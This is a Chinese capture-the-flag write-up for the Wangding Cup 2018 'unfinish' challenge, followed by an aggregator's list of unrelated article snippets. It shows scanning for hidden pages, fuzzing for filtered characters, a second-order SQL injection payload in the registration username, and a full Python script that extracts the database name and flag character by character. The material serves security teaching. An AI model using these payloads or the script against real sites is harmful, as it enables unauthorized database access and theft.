SQL注入:网鼎杯2018-unfinish

news2024/12/30 4:30:35

目录

使用dirmap扫描

使用dirsearch扫描

使用acunetix扫描

爆破后端过滤的字符

绕过限制获取数据


这次的进行SQL注入的靶机是:BUUCTF在线评测

进入到主页面后发现是可以进行登录的,那么我们作为一个安全人员,那肯定不会按照常规的方式来进行,我们可以尝试扫描一下该网站,看是否可以扫描出源码

使用dirmap扫描

python dirmap.py -i http://199cdbee-7e05-404f-9714-5263cd95132e.node5.buuoj.cn:81/ -lcf

注:如果在使用该工具时一些依赖包没有可以使用下列命令来安装:

pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

注:如果出现下列报错,则将Ip.py文件中的下列函数进行替换就可以解决了:

修改完就可以正常的使用dirmap进行扫描了

使用dirsearch扫描

遗憾的是使用这两款扫描工具都没有扫描出有用的信息

使用acunetix扫描

那么我们可以再使用acunetix扫描一下:

通过使用acunetix对网站进行扫描后发现,网站还存在一个register.php页面

那么就可以访问一下:

可以看到这是一个注册页面

那么我们可以尝试注入一个用户,然后查看一下会有什么效果
注册完成后我们登录:

可以看到登录页面是上面那样的

那么现在我们就可以在注册页面看是否可以进行注入

但是点击注册后,页面却显示nnnnnnooooo!

爆破后端过滤的字符

这就说明我们输入的内容中有些字符被后端检测到,因此显示了该页面

因此现在我们需要编辑一个字典来将可能被过滤的字符集合起来,然后使用Burpsuite抓包使用爆破模块看看那些字符被过滤了:

根据爆破结果发现,后端过滤了,  ' 和information

绕过限制获取数据

现在后端过滤的字符我们已经知道了,现在考虑如何在不使用那些字符来实现注入

,我们可以使用substring( from 位置 for  截取数量 )来代替

然后我们就可以构造下列payload:

email=123@qq.com&username=0'+(select hex(hex(database())))+'0&password=123456

注册完成后我们登录

发现用户名是这样的,这是因为我们对其进行了两次16进制编码,现在再进行两次解码即可:

通过两次编码后就成功的得到了数据库名为web

但是因为过滤了information,无法获取表,这里借鉴别人的经验知道表名大概率都是flag,因此我们直接使用下列脚本来获取表名/flag:

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

注:需要将代码中的url替换为自己的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1460305.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

企业必备!助你有效防止员工私删客户微信?

在企业管理中,保护客户资源和数据安全至关重要,特别是在微信这样的沟通工具中。为了有效防止员工私删客户微信以及滥用工作微信,企业可以借助一些专业的工具——微信管理系统来进行监控和管理。 首先,企业可以在微信管理系统上给…

CSS基础属性

【三】基础属性 【1】高度和宽度 (1)参数 width(宽度):用于设置元素的宽度。可以使用具体的数值(如像素值)或百分比来指定宽度。 height(高度):用于设置元…

【JGit】分支管理实践

本文紧接【JGit】简述及学习资料整理。 以下梳理了使用 JGit 进行 Git 操作的实践 JGit实践 主函数 public static void main(String[] args) throws Exception {String localDir "D:\\tmp\\git-test\\";String gitUrl "http://192.168.181.1:3000/root/g…

如何合理规划PCB叠层

目录 引言 6层板叠层设计方案 8层板叠层设计方案 10层板叠层设计方案 12层板叠层设计方案 总结 引言 PCB叠层是决定电子产品EMC性能的关键因素,合理的叠层布局,可以使得PCB上的差模和共模辐射最小化,反之,则可能放大这些辐射的干扰。 通常会从以下的因素中,对PCB的叠…

图扑数字孪生“光储充”一体化智慧充电站

近年来,蔚来、理想、特斯拉等电动汽车凭借独特的优势已成为全球消费者的“新宠儿”。随着新能源车保有量迅速增长,充电需求不断上升,充电桩对区域电网的冲击也日益显著。 “光储充”一体化模式,即“光伏储能汽车充电”&#xff0…

关于Windows 10中剪贴板的知识,看这篇文章就差不多了

本文介绍了如何在Windows10中使用剪贴板。除了有关复制、粘贴和清除剪贴板的信息外,还包括有关将项目固定到剪贴板的信息。 如何将内容复制到Windows 10剪贴板 Windows 10操作系统中的剪贴板比以前的剪贴板体验更先进。使用新的剪贴板,你可以查看复制到…

fastApi笔记04-查询参数和字符串校验

额外校验 使用Query可以对查询参数添加校验 from typing import Unionfrom fastapi import FastAPI, Queryapp FastAPI()app.get("/items/") async def read_items(q: Union[str, None] Query(defaultNone, max_length50)):results {"items": [{"…

【力扣hot100】刷题笔记Day8

前言 到了大章节【链表】了,争取两三天给它搞定!! 160. 相交链表 - 力扣(LeetCode)】 双指针 参考题解,相比于求长度右对齐再一起出发的方法简洁多了 class Solution:def getIntersectionNode(self, head…

zabbix5.0利用percona监控MySQL

具体来说包括: Percona Monitoring Plugins 这是一组用于收集MySQL实例各种性能指标和状态的插件脚本,包括: mysqld_stats.pl - 收集服务器状态计数器mysqld_statement_replay.pl - 进行负载模拟测试pt-status - 收集InnoDB资源使用情况等 Percona Templates 基于这些插件收集…

gitlab 项目上线,项目上线后回滚

gitlab 项目上线,项目上线后回滚 1.需要自己有个gitlab项目环境,没有找我,docker-compose 一键环境启动 2.发起合并请求3.选择合并的分支4.点击创建合并,然后确认合并合并完成,进行回滚操作,在合并详情页…

wo-gradient-card是一款采用uniapp实现的透明辉光动画卡片

采用uniapp-vue3实现,透明辉光动画卡片,卡片内容包含标签、标题、副标题、图片 支持H5、微信小程序(其他小程序未测试过,可自行尝试) 可用于参考学习 可到插件市场下载尝试: https://ext.dcloud.net.cn/plu…

仿12306校招项目-前后端运行

目录 1.git 克隆 2.设置JDK版本 3.sql脚本导入数据 4.启动中间件 5.运行后端 6.运行前端 1.git 克隆 打开 IntelliJ IDEA,菜单栏顶部找到 Git -> Clone 选项。找到 Clone 这个按钮输入 gitgitee.com:nageoffer/12306.git或者https://gitee.com/nageoffer/…

什么是企业数字化转型的关键要素?

企业数字化转型的关键要素通常包括以下几个方面: 战略规划:企业需要制定清晰的数字化转型战略,明确转型的目标、路径和时间表,确保数字化转型与企业整体战略相一致,为企业提供明确的指导。 数据驱动:数据是…

Android 7.0以上charles无法抓取部分https包问题

首先保证配置一切正确 手机通过访问chls.pro/ssl下载.pem证书,如无法安装,在文件管理器中将后缀名改为.crt 在设置中安装该证书 Charles-Proxy - SSL Proxying Setting - Include 添加需要抓包的URL:443即可 以上基本配置结束后,看下代码 代…

极狐GitLab 如何重置管理员密码

在之前安装极狐GitLab 的文章中提到,极狐GitLab 安装成功后,初始登录密码会放在 /etc/gitlab/initial_root_password 文件下,用户可以使用初始用户名 root 及文件内的初始密码即可登录极狐GitLab 实例。 但是有些情况下,可能会发…

第39期 | GPTSecurity周报

GPTSecurity是一个涵盖了前沿学术研究和实践经验分享的社区,集成了生成预训练Transformer(GPT)、人工智能生成内容(AIGC)以及大型语言模型(LLM)等安全领域应用的知识。在这里,您可以…

[office] EXCEL表格不能使用键盘箭头切换单元格该怎么解决- #媒体#经验分享#知识分享

EXCEL表格不能使用键盘箭头切换单元格该怎么解决? EXCEL表格不能使用键盘箭头切换单元格该怎么解决? 1、入下图所示的键盘。 图中红色标记“1”的地方是Scroll Lock指示灯。Scroll Lock就是“滚动锁定”的意思。当该指示灯亮起来的时候,在excel表格中操…

Java的Stream流【详解】

目录 一.概念 二.Stream流处理数据的步骤 1.得到集合或者数组的Stream流。 2.调用Stream流的中间方法对数据进行处理 3.调用Stream流的终结方法获取处理的结果 一.概念 是Jdk8开始新增的一套API (java.util.stream.*),可以用于操作集合或者数组的数据。 好处: S…

【卷积神经网络中用1*1 卷积有什么作用或者好处呢?】

🚀 作者 :“码上有前” 🚀 文章简介 :深度学习 🚀 欢迎小伙伴们 点赞👍、收藏⭐、留言💬 1*1 卷积有什么作用或者好处呢 作用降维和增加非线性特征组合和交互网络的宽度和深度调整全连接替代增强…

vue2的ElementUI的form表单报错“Error: [ElementForm]unpected width”修复

1. 问题 ElementUI的form表单,当动态切换显示表单时报错 Error: [ElementForm]unpected width。 翻译过来就是form表单的label宽度width出了问题。 2. 分析 参数说明类型可选值默认值label-width表单域标签的宽度,例如 ‘50px’。作为 Form 直接子元…